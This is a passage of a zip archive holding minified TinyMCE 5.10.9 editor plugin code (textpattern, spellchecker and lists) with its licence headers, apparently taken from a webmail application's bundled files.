range"),o=e.startContainer,a=e.endContainer,i=0===e.endOffset?a:a.splitText(e.endOffset),u=0===e.startOffset?o:o.splitText(e.startOffset);return{prefix:n,end:i.parentNode.insertBefore(X(t,n+"-end"),i),start:u.parentNode.insertBefore(X(t,n+"-start"),u)}}function Z(t,n,r){pt(t,t.get(n.prefix+"-end"),r),pt(t,t.get(n.prefix+"-start"),r)}function $(n,t,r){n.selection.setRng(r),"inline-format"===t.type?v(t.format,function(t){n.formatter.apply(t)}):n.execCommand(t.cmd,!1,t.value)}function tt(r,e,o){var a=r.selection.getRng();return!1===a.collapsed?[]:V(r,a).bind(function(t){var n=a.startOffset-(o?1:0);return Ot(r,e,a.startContainer,n,t)}).fold(function(){return[]},function(t){return t.matches})}function nt(p,t){var h,n,o,r,e,a,i;0!==t.length&&(h=p.dom,n=p.selection.getBookmark(),o=h,r=t,e=(new Date).getTime(),a="mce_textpattern_"+Math.floor(1e9*Math.random())+ ++bt+String(e),i=b(r,function(t,n){var r=Y(o,a+"_end"+t.length,n.endRng);return t.concat([u(u({},n),{endMarker:r})])},[]),v(b(i,function(t,n){var r=i.length-t.length-1,e=L(n.pattern)?n.endMarker:Y(o,a+"_start"+r,n.startRng);return t.concat([u(u({},n),{startMarker:e})])},[]),function(t){function n(t){return t===g}var r,e,o,a,i,u,f,c,s,l,d,m,g=h.getParent(t.startMarker.start,h.isBlock);L(t.pattern)?(e=t.pattern,o=t.endMarker,a=n,i=Q((r=p).dom,o),_(r.dom,i,a),$(r,e,i)):(u=p,f=t.pattern,c=t.startMarker,s=t.endMarker,l=n,d=u.dom,m=Q(d,s),_(d,Q(d,c),l),_(d,m,l),$(u,f,Q(d,{prefix:c.prefix,start:c.end,end:s.start}))),Z(h,t.endMarker,n),Z(h,t.startMarker,n)}),p.selection.moveToBookmark(n))}function rt(t,n){var r=tt(t,n.inlinePatterns,!0);0<r.length&&t.undoManager.transact(function(){nt(t,r)})}function et(t,n,r){for(var e=0;e<t.length;e++)if(r(t[e],n))return 1}function ot(n,r){var e=[",",".",";",":","!","?"],o=[32];n.on("keydown",function(t){13!==t.keyCode||lt.modifierPressed(t)||!function(o,t){if(o.selection.isCollapsed()){var a=tt(o,t.inlinePatterns,!1),u=K(o,t.blockPatterns);return(0<u.length||0<a.length)&&(o.undoManager.add(),o.undoManager.extra(function(){o.execCommand("mceInsertNewLine")},function(){var i,t,n;o.insertContent("\ufeff",{preserve_zwsp:!0}),nt(o,a),i=o,0!==(t=u).length&&(n=i.selection.getBookmark(),v(t,function(t){return e=(n=i).dom,o=(r=t).pattern,a=H(e.getRoot(),r.range).getOrDie("Unable to resolve path range"),V(n,a).each(function(t){"block-format"===o.type?U(o.format,n.formatter)&&n.undoManager.transact(function(){J(n.dom,t,o),n.formatter.apply(o.format)}):"block-command"===o.type&&n.undoManager.transact(function(){J(n.dom,t,o),n.execCommand(o.cmd,!1,o.value)})}),1;var n,r,e,o,a}),i.selection.moveToBookmark(n));var r=o.selection.getRng(),e=q(r.startContainer,r.startOffset,o.dom.getRoot());o.execCommand("mceInsertNewLine"),e.each(function(t){var n=t.container;"\ufeff"===n.data.charAt(t.offset-1)&&(n.deleteData(t.offset-1,1),pt(o.dom,n.parentNode,function(t){return t===o.dom.getRoot()}))})}),1)}}(n,r.get())||t.preventDefault()},!0),n.on("keyup",function(t){et(o,t,function(t,n){return t===n.keyCode&&!1===lt.modifierPressed(n)})&&rt(n,r.get())}),n.on("keypress",function(t){et(e,t,function(t,n){return t.charCodeAt(0)===n.charCode})&&st.setEditorTimeout(n,function(){rt(n,r.get())})})}!function(i){if(!s(i))throw new Error("cases must be an array");if(0===i.length)throw new Error("there must be at least one case");var u=[],r={};v(i,function(t,e){var n=x(t);if(1!==n.length)throw new Error("one and only one name per case");var o=n[0],a=t[o];if(void 0!==r[o])throw new Error("duplicate key detected:"+o);if("cata"===o)throw new Error("cannot have a case named cata (sorry)");if(!s(a))throw new Error("case arguments must be an array");u.push(o),r[o]=function(){for(var r=[],t=0;t<arguments.length;t++)r[t]=arguments[t];var n=r.length;if(n!==a.length)throw new Error("Wrong number of arguments to case "+o+". Expected "+a.length+" ("+a+"), got "+n);return{fold:function(){for(var t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];if(t.length!==i.length)throw new Error("Wrong number of arguments to fold. Expected "+i.length+", got "+t.length);return t[e].apply(null,r)},match:function(t){var n=x(t);if(u.length!==n.length)throw new Error("Wrong number of arguments to match. Expected: "+u.join(",")+"\nActual: "+n.join(","));if(!k(u,function(t){return p(n,t)}))throw new Error("Not all branches were specified when using match. Specified: "+n.join(", ")+"\nRequired: "+u.join(", "));return t[o].apply(null,r)},log:function(t){console.log(t,{constructors:u,constructor:o,params:r})}}}})}([{bothErrors:["error1","error2"]},{firstError:["error1","value2"]},{secondError:["value1","error2"]},{bothValues:["value1","value2"]}]);var at=function(r){return{isValue:d,isError:l,getOr:i(r),getOrThunk:i(r),getOrDie:i(r),or:function(t){return at(r)},orThunk:function(t){return at(r)},fold:function(t,n){return n(r)},map:function(t){return at(t(r))},mapError:function(t){return at(r)},each:function(t){t(r)},bind:function(t){return t(r)},exists:function(t){return t(r)},forall:function(t){return t(r)},toOptional:function(){return w.some(r)}}},it=function(r){return{isValue:l,isError:d,getOr:o,getOrThunk:function(t){return t()},getOrDie:function(){return t=String(r),function(){throw new Error(t)}();var t},or:o,orThunk:function(t){return t()},fold:function(t,n){return t(r)},map:function(t){return it(r)},mapError:function(t){return it(t(r))},each:e,bind:function(t){return it(r)},exists:l,forall:d,toOptional:w.none}},ut={value:at,error:it,fromOption:function(t,n){return t.fold(function(){return it(n)},at)}},ft="undefined"!=typeof window?window:Function("return this;")(),ct=[{start:"*",end:"*",format:"italic"},{start:"**",end:"**",format:"bold"},{start:"#",format:"h1"},{start:"##",format:"h2"},{start:"###",format:"h3"},{start:"####",format:"h4"},{start:"#####",format:"h5"},{start:"######",format:"h6"},{start:"1. ",cmd:"InsertOrderedList"},{start:"* ",cmd:"InsertUnorderedList"},{start:"- ",cmd:"InsertUnorderedList"}],st=tinymce.util.Tools.resolve("tinymce.util.Delay"),lt=tinymce.util.Tools.resolve("tinymce.util.VK"),dt=tinymce.util.Tools.resolve("tinymce.util.Tools"),mt=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),gt=tinymce.util.Tools.resolve("tinymce.dom.TextSeeker"),pt=function(t,n,r){var e;n&&t.isEmpty(n)&&!r(n)&&(e=n.parentNode,t.remove(n),pt(t,e,r))},ht=mt.DOM,vt=function(t,r,e){if(!j(t))return w.none();var n=t.textContent;if(0<=r&&r<=n.length)return w.some(I(t,r));var o=gt(ht);return w.from(o.backwards(t,r,W(t),e)).bind(function(t){var n=t.container.data;return vt(t.container,r+n.length,e)})},yt=function(t,n,r){if(!j(t))return w.none();var e=t.textContent;if(n<=e.length)return w.some(I(t,n));var o=gt(ht);return w.from(o.forwards(t,n,W(t),r)).bind(function(t){return yt(t.container,n-e.length,r)})},bt=0,kt=function(e,o,a,t){var i,n,r,u,f,c,s,l=o.start;return n=t.container,r=t.offset,i=l,u=function(t,n){var r=t.data.substring(0,n),e=r.lastIndexOf(i.charAt(i.length-1)),o=r.lastIndexOf(i);return-1!==o?o+i.length:-1!==e?e+1:-1},f=a,s=gt(e,(c=e,function(t){return c.isBlock(t)||p(["BR","IMG","HR","INPUT"],t.nodeName)||"false"===c.getContentEditable(t)})),w.from(s.backwards(n,r,u,f)).bind(function(r){if(r.offset>=l.length){var t=e.createRng();return t.setStart(r.container,r.offset-l.length),t.setEnd(r.container,r.offset),w.some(t)}var n=r.offset-l.length;return vt(r.container,n,a).map(function(t){var n=e.createRng();return n.setStart(t.container,t.offset),n.setEnd(r.container,r.offset),n}).filter(function(t){return t.toString()===l}).orThunk(function(){return kt(e,o,a,I(r.container,0))})})},Ot=function(l,d,m,g,p){var h=l.dom;return q(m,g,h.getRoot()).bind(function(t){var n=h.createRng();n.setStart(p,0),n.setEnd(m,g);for(var r,e=n.toString(),o=0;o<d.length;o++){var a,i,u=d[o],f=u.end;i=r=void 0;if(a=(r=e).length-f.length,""===(i=f)||r.length>=i.length&&r.substr(a,a+i.length)===i){var c=d.slice();c.splice(o,1);var s=function(a,i,u){var f=a.dom,c=f.getRoot(),s=u.pattern,l=u.position.container,d=u.position.offset;return vt(l,d-u.pattern.end.length,i).bind(function(t){var r=F(c,t.container,t.offset,l,d);if(L(s))return w.some({matches:[{pattern:s,startRng:r,endRng:r}],position:t});var n=Ot(a,u.remainingPatterns,t.container,t.offset,i),e=n.getOr({matches:[],position:t}),o=e.position;return function(t,r,n,e,o,a){if(void 0===a&&(a=!1),0!==r.start.length||a)return q(n,e,o).bind(function(n){return kt(t,r,o,n).bind(function(t){if(a){if(t.endContainer===n.container&&t.endOffset===n.offset)return w.none();if(0===n.offset&&t.endContainer.textContent.length===t.endOffset)return w.none()}return w.some(t)})});var i=t.createRng();return i.setStart(n,e),i.setEnd(n,e),w.some(i)}(f,s,o.container,o.offset,i,n.isNone()).map(function(t){var n=F(c,t.startContainer,t.startOffset,t.endContainer,t.endOffset);return{matches:e.matches.concat([{pattern:s,startRng:n,endRng:r}]),position:I(t.startContainer,t.startOffset)}})})}(l,p,{pattern:u,remainingPatterns:c,position:t});if(s.isSome())return s}}return w.none()})};t.add("textpattern",function(r){var t,n,e,o=(t=function(){var t=r.getParam("textpattern_patterns",ct,"array");if(!s(t))return B("The setting textpattern_patterns should be an array"),{inlinePatterns:[],blockPatterns:[]};var n=T(h(t,S));return v(n.errors,function(t){return B(t.message,t.pattern),0}),A(n.values)}(),n=t,{get:function(){return n},set:function(t){n=t}});return ot(r,o),e=o,{setPatterns:function(t){var n=T(h(t,S));if(0<n.errors.length){var r=n.errors[0];throw new Error(r.message+":\n"+JSON.stringify(r.pattern,null,2))}e.set(A(n.values))},getPatterns:function(){return a(a([],h(e.get().inlinePatterns,M),!0),h(e.get().blockPatterns,M),!0)}}})}();PK
h�\��k:&:&5program/js/tinymce/plugins/spellchecker/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function C(e){var t=e;return{get:function(){return t},set:function(e){t=e}}}function u(e){return e.getParam("spellchecker_rpc_url")}function E(e){var t=new RegExp('[^\\s!"#$%&()*+,-./:;<=>?@[\\]^_{|}`\xa7\xa9\xab\xae\xb1\xb6\xb7\xb8\xbb\xbc\xbd\xbe\xbf\xd7\xf7\xa4\u201d\u201c\u201e\xa0\u2002\u2003\u2009]+',"g");return e.getParam("spellchecker_wordchar_pattern",t)}function p(e){return e&&1===e.nodeType&&"false"===e.contentEditable}function r(i,r){function o(e){var t=i.getElementsByTagName("*"),n=[];e="number"==typeof e?""+e:null;for(var r=0;r<t.length;r++){var o=t[r],a=o.getAttribute("data-mce-index");null!==a&&a.length&&-1!==o.className.indexOf("mce-spellchecker-word")&&(a!==e&&null!==e||n.push(o))}return n}function a(e){for(var t=c.length;t--;)if(c[t]===e)return t;return-1}var n,c=[],v=r.dom,f=r.schema.getBlockElements(),h=r.schema.getWhiteSpaceElements(),g=r.schema.getShortEndedElements(),s=function(e){if(3===e.nodeType)return e.data;if(h[e.nodeName]&&!f[e.nodeName])return"";if(p(e))return"\n";var t="";if((f[e.nodeName]||g[e.nodeName])&&(t+="\n"),e=e.firstChild)for(;t+=s(e),e=e.nextSibling;);return t};function e(e){for(var t=0,n=c.length;t<n&&!1!==e(c[t],t);t++);return this}function t(e){for(var t=o(e?a(e):null),n=t.length;n--;)!function(e){for(var t=e.parentNode;0<e.childNodes.length;)t.insertBefore(e.childNodes[0],e);t.removeChild(e)}(t[n]);return this}function l(e){var t=o(a(e)),n=r.dom.createRng();return n.setStartBefore(t[0]),n.setEndAfter(t[t.length-1]),n}var u=s(i);return{text:u,matches:c,each:e,filter:function(n){var r=[];return e(function(e,t){n(e,t)&&r.push(e)}),c=r,this},reset:function(){return c.splice(0,c.length),t(),this},matchFromElement:function(e){return c[e.getAttribute("data-mce-index")]},elementFromMatch:function(e){return o(a(e))[0]},find:function(e,t){if(u&&e.global)for(;n=e.exec(u);)c.push(function(e,t){if(!e[0])throw new Error("findAndReplaceDOMText cannot handle zero-length matches");return{start:e.index,end:e.index+e[0].length,text:e[0],data:t}}(n,t));return this},add:function(e,t,n){return c.push({start:e,end:e+t,text:u.substr(e,t),data:n}),this},wrap:function(e){return c.length&&function(e,t,n){var r,o,a,i,c,s=[],l=0,u=e,d=0;(t=t.slice(0)).sort(function(e,t){return e.start-t.start}),c=t.shift();e:for(;;){if((f[u.nodeName]||g[u.nodeName]||p(u))&&l++,3===u.nodeType&&(!o&&u.length+l>=c.end?(o=u,i=c.end-l):r&&s.push(u),!r&&u.length+l>c.start&&(r=u,a=c.start-l),l+=u.length),r&&o){if(u=n({startNode:r,startNodeIndex:a,endNode:o,endNodeIndex:i,innerNodes:s,match:c.text,matchIndex:d}),l-=o.length-i,o=r=null,s=[],d++,!(c=t.shift()))break}else if(h[u.nodeName]&&!f[u.nodeName]||!u.firstChild){if(u.nextSibling){u=u.nextSibling;continue}}else if(!p(u)){u=u.firstChild;continue}for(;;){if(u.nextSibling){u=u.nextSibling;break}if(u.parentNode===e)break e;u=u.parentNode}}}(i,c,(o=e,function(e){var t=e.startNode,n=e.endNode,r=e.matchIndex,o=v.doc;if(t===n){var a=t,i=a.parentNode;0<e.startNodeIndex&&(s=o.createTextNode(a.data.substring(0,e.startNodeIndex)),i.insertBefore(s,a));var c=m(e.match,r);return i.insertBefore(c,a),e.endNodeIndex<a.length&&(l=o.createTextNode(a.data.substring(e.endNodeIndex)),i.insertBefore(l,a)),a.parentNode.removeChild(a),c}for(var s=o.createTextNode(t.data.substring(0,e.startNodeIndex)),l=o.createTextNode(n.data.substring(e.endNodeIndex)),u=m(t.data.substring(e.startNodeIndex),r),d=0,f=e.innerNodes.length;d<f;++d){var h=e.innerNodes[d],g=m(h.data,r);h.parentNode.replaceChild(g,h)}var p=m(n.data.substring(0,e.endNodeIndex),r);return(i=t.parentNode).insertBefore(s,t),i.insertBefore(u,t),i.removeChild(t),(i=n.parentNode).insertBefore(p,n),i.insertBefore(l,n),i.removeChild(n),p})),this;function m(e,t){var n=c[t];n.stencil||(n.stencil=o(n));var r=n.stencil.cloneNode(!1);return r.setAttribute("data-mce-index",""+t),e&&r.appendChild(v.doc.createTextNode(e)),r}var o},unwrap:t,replace:function(e,t){var n=l(e);return n.deleteContents(),0<t.length&&n.insertNode(r.dom.doc.createTextNode(t)),n},rangeFromMatch:l,indexOf:a}}function l(e,t){var n;return t.get()||(n=r(e.getBody(),e),t.set(n)),t.get()}function k(e,t,n,r,o,a,i){var c,s,l;(e.getParam("spellchecker_callback")||(c=e,s=t,l=n,function(e,t,r,o){var n={method:e,lang:l.get()},a="";n["addToDictionary"===e?"word":"text"]=t,M.each(n,function(e,t){a&&(a+="&"),a+=t+"="+encodeURIComponent(e)}),h.send({url:new f(s).toAbsolute(u(c)),type:"post",content_type:"application/x-www-form-urlencoded",data:a,success:function(e){var t,n=JSON.parse(e);n?n.error?o(n.error):r(n):(t=c.translate("Server response wasn't proper JSON."),o(t))},error:function(){var e=c.translate("The spelling service was not found: (")+u(c)+c.translate(")");o(e)}})})).call(e.plugins.spellchecker,r,o,a,i)}function R(t,e,n,r,o,a){i(t,n,r)||(t.setProgressState(!0),k(t,e,a,"spellcheck",l(t,r).text,function(e){O(t,n,r,o,e)},function(e){t.notificationManager.open({text:e,type:"error"}),t.setProgressState(!1),i(t,n,r)}),t.focus())}function y(e,t,n){e.dom.select("span.mce-spellchecker-word").length||i(e,t,n)}function S(t,e,n,r,o,a){t.selection.collapse(),a?M.each(t.dom.select("span.mce-spellchecker-word"),function(e){e.getAttribute("data-mce-word")===r&&t.dom.remove(e,!0)}):t.dom.remove(o,!0),y(t,e,n)}function b(e){var t=e.getAttribute("data-mce-index");return"number"==typeof t?""+t:t}function _(g,p,m,v,x,N){g.ui.registry.addContextMenu("spellchecker",{update:function(e){var t=e;if("mce-spellchecker-word"!==t.className)return[];var c,s,n,l,u,d,f,h,r,o,a=function(e,t){var n=[],r=M.toArray(e.getBody().getElementsByTagName("span"));if(r.length)for(var o=0;o<r.length;o++){var a=b(r[o]);null!==a&&a.length&&a===t.toString()&&n.push(r[o])}return n}(g,b(t));if(0<a.length){var i=g.dom.createRng();return i.setStartBefore(a[0]),i.setEndAfter(a[a.length-1]),g.selection.setRng(i),c=g,s=p,n=m,l=v,u=x,d=N,f=t.getAttribute("data-mce-word"),h=a,r=[],o=n.get().suggestions[f],M.each(o,function(e){r.push({text:e,onAction:function(){c.insertContent(c.dom.encode(e)),c.dom.remove(h),y(c,l,u)}})}),n.get().hasDictionarySupport&&(r.push({type:"separator"}),r.push({text:"Add to dictionary",onAction:function(){var t,e=s,n=l,r=u,o=d,a=f,i=h;(t=c).setProgressState(!0),k(t,e,o,"addToDictionary",a,function(){t.setProgressState(!1),t.dom.remove(i,!0),y(t,n,r)},function(e){t.notificationManager.open({text:e,type:"error"}),t.setProgressState(!1)})}})),r.push.apply(r,[{type:"separator"},{text:"Ignore",onAction:function(){S(c,l,u,f,h)}},{text:"Ignore all",onAction:function(){S(c,l,u,f,h,!0)}}]),r}}})}var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),d=Object.hasOwnProperty,M=tinymce.util.Tools.resolve("tinymce.util.Tools"),f=tinymce.util.Tools.resolve("tinymce.util.URI"),h=tinymce.util.Tools.resolve("tinymce.util.XHR"),i=function(e,t,n){var r=e.selection.getBookmark();if(l(e,n).reset(),e.selection.moveToBookmark(r),n.set(null),t.get())return t.set(!1),e.fire("SpellcheckEnd"),!0},O=function(t,e,n,r,o){var a=!!o.dictionary,i=o.words;if(t.setProgressState(!1),function(e){for(var t in e)if(d.call(e,t))return;return 1}(i)){var c=t.translate("No misspellings found.");return t.notificationManager.open({text:c,type:"info"}),void e.set(!1)}r.set({suggestions:i,hasDictionarySupport:a});var s=t.selection.getBookmark();l(t,n).find(E(t)).filter(function(e){return!!i[e.text]}).wrap(function(e){return t.dom.create("span",{class:"mce-spellchecker-word","aria-invalid":"spelling","data-mce-bogus":1,"data-mce-word":e.text})}),t.selection.moveToBookmark(s),e.set(!0),t.fire("SpellcheckStart")},D=function(){return(D=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e}).apply(this,arguments)},F="SpellcheckStart SpellcheckEnd";e.add("spellchecker",function(e,t){if(0==(!!e.hasPlugin("tinymcespellchecker",!0)&&(void 0!==window.console&&window.console.log&&window.console.log("Spell Checker Pro is incompatible with Spell Checker plugin! Remove 'spellchecker' from the 'plugins' option."),!0))){var n=C(!1),r=C((I=(P=e).getParam("language","en"),P.getParam("spellchecker_language",I))),o=C(null),a=C(null);return c=e,s=t,l=n,u=o,d=r,f=a,h=M.map(c.getParam("spellchecker_languages","English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr_FR,German=de,Italian=it,Polish=pl,Portuguese=pt_BR,Spanish=es,Swedish=sv").split(","),function(e){var t=e.split("=");return{name:t[0],value:t[1]}}),g=[],M.each(h,function(e){g.push({selectable:!0,text:e.name,data:e.value})}),p=g,v=D(D({},m={tooltip:"Spellcheck",onAction:i,icon:"spell-check",onSetup:function(e){function t(){e.setActive(l.get())}return c.on(F,t),function(){c.off(F,t)}}}),{type:"splitbutton",select:function(e){return e===d.get()},fetch:function(e){e(M.map(p,function(e){return{type:"choiceitem",value:e.data,text:e.text}}))},onItemAction:function(e,t){d.set(t)}}),1<p.length?c.ui.registry.addSplitButton("spellchecker",v):c.ui.registry.addToggleButton("spellchecker",m),c.ui.registry.addToggleMenuItem("spellchecker",{text:"Spellcheck",icon:"spell-check",onSetup:function(e){function t(){e.setActive(l.get())}return e.setActive(l.get()),c.on(F,t),function(){c.off(F,t)}},onAction:i}),_(e,t,a,n,o,r),b=t,w=n,T=o,A=a,B=r,(S=e).addCommand("mceSpellCheck",function(){R(S,b,w,T,A,B)}),x=e,N=n,k=a,{getTextMatcher:(y=o).get,getWordCharPattern:function(){return E(x)},markErrors:function(e){O(x,N,y,k,e)},getLanguage:r.get}}function i(){R(c,s,l,u,f,d)}var c,s,l,u,d,f,h,g,p,m,v,x,N,k,y,S,b,w,T,A,B,P,I})}();PK
h�\�*%m%m.program/js/tinymce/plugins/lists/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function e(r){return function(e){return n=typeof(t=e),(null===t?"null":"object"==n&&(Array.prototype.isPrototypeOf(t)||t.constructor&&"Array"===t.constructor.name)?"array":"object"==n&&(String.prototype.isPrototypeOf(t)||t.constructor&&"String"===t.constructor.name)?"string":n)===r;var t,n}}function t(t){return function(e){return typeof e===t}}function u(){}function S(e){return function(){return e}}function n(e){return e}function r(e,t){return e===t}function y(t){return function(e){return!t(e)}}function o(){return p}var i=tinymce.util.Tools.resolve("tinymce.PluginManager"),a=e("string"),O=e("object"),s=e("array"),c=t("boolean"),f=t("function"),d=t("number"),l=S(!1),m=S(!0),p={fold:function(e,t){return e()},isSome:l,isNone:m,getOr:n,getOrThunk:g,getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:S(null),getOrUndefined:S(void 0),or:n,orThunk:g,map:o,each:u,bind:o,exists:l,forall:m,filter:function(){return p},toArray:function(){return[]},toString:S("none()")};function g(e){return e()}function C(e,t){for(var n=e.length,r=new Array(n),o=0;o<n;o++){var i=e[o];r[o]=t(i,o)}return r}function b(e,t){for(var n=0,r=e.length;n<r;n++)t(e[n],n)}function L(e,t){for(var n=[],r=0,o=e.length;r<o;r++){var i=e[r];t(i,r)&&n.push(i)}return n}function v(e,n,r){return b(e,function(e,t){r=n(r,e,t)}),r}function h(e,t,n){for(var r=0,o=e.length;r<o;r++){var i=e[r];if(t(i,r))return E.some(i);if(n(i,r))break}return E.none()}function N(e,t){return h(e,t,l)}function T(e,t){return function(e){for(var t=[],n=0,r=e.length;n<r;++n){if(!s(e[n]))throw new Error("Arr.flatten item "+n+" was not an array, input: "+e);P.apply(t,e[n])}return t}(C(e,t))}function D(e){var t=I.call(e,0);return t.reverse(),t}function x(e,t){return 0<=t&&t<e.length?E.some(e[t]):E.none()}function A(e){return x(e,0)}function w(e){return x(e,e.length-1)}var k=function(n){function e(){return o}function t(e){return e(n)}var r=S(n),o={fold:function(e,t){return t(n)},isSome:m,isNone:l,getOr:r,getOrThunk:r,getOrDie:r,getOrNull:r,getOrUndefined:r,or:e,orThunk:e,map:function(e){return k(e(n))},each:function(e){e(n)},bind:t,exists:t,forall:t,filter:function(e){return e(n)?o:p},toArray:function(){return[n]},toString:function(){return"some("+n+")"}};return o},E={some:k,none:o,from:function(e){return null==e?p:k(e)}},I=Array.prototype.slice,P=Array.prototype.push,B=function(){return(B=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e}).apply(this,arguments)};function R(r,e){return function(e){for(var t=0;t<e.length;t++){var n=function(t){var n=t.brand.toLowerCase();return N(r,function(e){var t;return n===(null===(t=e.brand)||void 0===t?void 0:t.toLowerCase())}).map(function(e){return{current:e.name,version:G.nu(parseInt(t.version,10),0)}})}(e[t]);if(n.isSome())return n}return E.none()}(e.brands)}function M(e,t){var n=String(t).toLowerCase();return N(e,function(e){return e.search(n)})}function U(e,t){return-1!==e.indexOf(t)}function _(t){return function(e){return U(e,t)}}function $(e){return window.matchMedia(e).matches}function F(e,t){return e.dom===t.dom}function H(e,t){return le().browser.isIE()?(n=e.dom,r=t.dom,o=Node.DOCUMENT_POSITION_CONTAINED_BY,0!=(n.compareDocumentPosition(r)&o)):(i=e.dom)!==(a=t.dom)&&i.contains(a);var n,r,o,i,a}function j(e,t){for(var n=ye(e),r=0,o=n.length;r<o;r++){var i=n[r];t(e[i],i)}}function K(){return Z(0,0)}function V(e){function t(e){return function(){return n===e}}var n=e.current,r=e.version;return{current:n,version:r,isEdge:t("Edge"),isChrome:t("Chrome"),isIE:t("IE"),isOpera:t("Opera"),isFirefox:t(ne),isSafari:t("Safari")}}function W(e){function t(e){return function(){return n===e}}var n=e.current,r=e.version;return{current:n,version:r,isWindows:t(ie),isiOS:t("iOS"),isAndroid:t(ae),isOSX:t("OSX"),isLinux:t("Linux"),isSolaris:t(se),isFreeBSD:t(ue),isChromeOS:t(ce)}}function Q(e){if(null==e)throw new Error("Node cannot be null or undefined");return{dom:e}}var X,q,z,Y,Z=function(e,t){return{major:e,minor:t}},G={nu:Z,detect:function(e,t){var n,r,o=String(t).toLowerCase();return 0===e.length?K():(r=function(e,t){for(var n=0;n<e.length;n++){var r=e[n];if(r.test(t))return r}}(e,n=o))?Z(i(1),i(2)):{major:0,minor:0};function i(e){return Number(n.replace(r,"$"+e))}},unknown:K},J=(X=/^\s+|\s+$/g,function(e){return e.replace(X,"")}),ee=/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,te={browsers:S([{name:"Edge",versionRegexes:[/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],search:function(e){return U(e,"edge/")&&U(e,"chrome")&&U(e,"safari")&&U(e,"applewebkit")}},{name:"Chrome",brand:"Chromium",versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/,ee],search:function(e){return U(e,"chrome")&&!U(e,"chromeframe")}},{name:"IE",versionRegexes:[/.*?msie\ ?([0-9]+)\.([0-9]+).*/,/.*?rv:([0-9]+)\.([0-9]+).*/],search:function(e){return U(e,"msie")||U(e,"trident")}},{name:"Opera",versionRegexes:[ee,/.*?opera\/([0-9]+)\.([0-9]+).*/],search:_("opera")},{name:"Firefox",versionRegexes:[/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],search:_("firefox")},{name:"Safari",versionRegexes:[ee,/.*?cpu os ([0-9]+)_([0-9]+).*/],search:function(e){return(U(e,"safari")||U(e,"mobile/"))&&U(e,"applewebkit")}}]),oses:S([{name:"Windows",search:_("win"),versionRegexes:[/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]},{name:"iOS",search:function(e){return U(e,"iphone")||U(e,"ipad")},versionRegexes:[/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,/.*cpu os ([0-9]+)_([0-9]+).*/,/.*cpu iphone os ([0-9]+)_([0-9]+).*/]},{name:"Android",search:_("android"),versionRegexes:[/.*?android\ ?([0-9]+)\.([0-9]+).*/]},{name:"OSX",search:_("mac os x"),versionRegexes:[/.*?mac\ os\ x\ ?([0-9]+)_([0-9]+).*/]},{name:"Linux",search:_("linux"),versionRegexes:[]},{name:"Solaris",search:_("sunos"),versionRegexes:[]},{name:"FreeBSD",search:_("freebsd"),versionRegexes:[]},{name:"ChromeOS",search:_("cros"),versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/]}])},ne="Firefox",re=function(){return V({current:void 0,version:G.unknown()})},oe=V,ie=(S("Edge"),S("Chrome"),S("IE"),S("Opera"),S(ne),S("Safari"),"Windows"),ae="Android",se="Solaris",ue="FreeBSD",ce="ChromeOS",fe=function(){return W({current:void 0,version:G.unknown()})},de=W,le=(S(ie),S("iOS"),S(ae),S("Linux"),S("OSX"),S(se),S(ue),S(ce),Y=!(q=function(){return e=navigator.userAgent,t=E.from(navigator.userAgentData),n=$,g=te.browsers(),v=te.oses(),h=t.bind(function(e){return R(g,e)}).orThunk(function(){return M(g,n=e).map(function(e){var t=G.detect(e.versionRegexes,n);return{current:e.name,version:t}});var n}).fold(re,oe),y=M(v,r=e).map(function(e){var t=G.detect(e.versionRegexes,r);return{current:e.name,version:t}}).fold(fe,de),{browser:h,os:y,deviceType:(i=h,a=e,s=n,u=(o=y).isiOS()&&!0===/ipad/i.test(a),c=o.isiOS()&&!u,d=(f=o.isiOS()||o.isAndroid())||s("(pointer:coarse)"),l=u||!c&&f&&s("(min-device-width:768px)"),m=c||f&&!l,p=i.isSafari()&&o.isiOS()&&!1===/safari/i.test(a),{isiPad:S(u),isiPhone:S(c),isTablet:S(l),isPhone:S(m),isTouch:S(d),isAndroid:o.isAndroid,isiOS:o.isiOS,isWebView:S(p),isDesktop:S(!m&&!l&&!p)})};var e,t,n,r,o,i,a,s,u,c,f,d,l,m,p,g,v,h,y}),function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return Y||(Y=!0,z=q.apply(null,e)),z}),me={fromHtml:function(e,t){var n=(t||document).createElement("div");if(n.innerHTML=e,!n.hasChildNodes()||1<n.childNodes.length)throw console.error("HTML does not have a single root node",e),new Error("HTML must have a single root node");return Q(n.childNodes[0])},fromTag:function(e,t){var n=(t||document).createElement(e);return Q(n)},fromText:function(e,t){var n=(t||document).createTextNode(e);return Q(n)},fromDom:Q,fromPoint:function(e,t,n){return E.from(e.dom.elementFromPoint(t,n)).map(Q)}},pe=function(e,t){var n=e.dom;if(1!==n.nodeType)return!1;var r=n;if(void 0!==r.matches)return r.matches(t);if(void 0!==r.msMatchesSelector)return r.msMatchesSelector(t);if(void 0!==r.webkitMatchesSelector)return r.webkitMatchesSelector(t);if(void 0!==r.mozMatchesSelector)return r.mozMatchesSelector(t);throw new Error("Browser lacks native 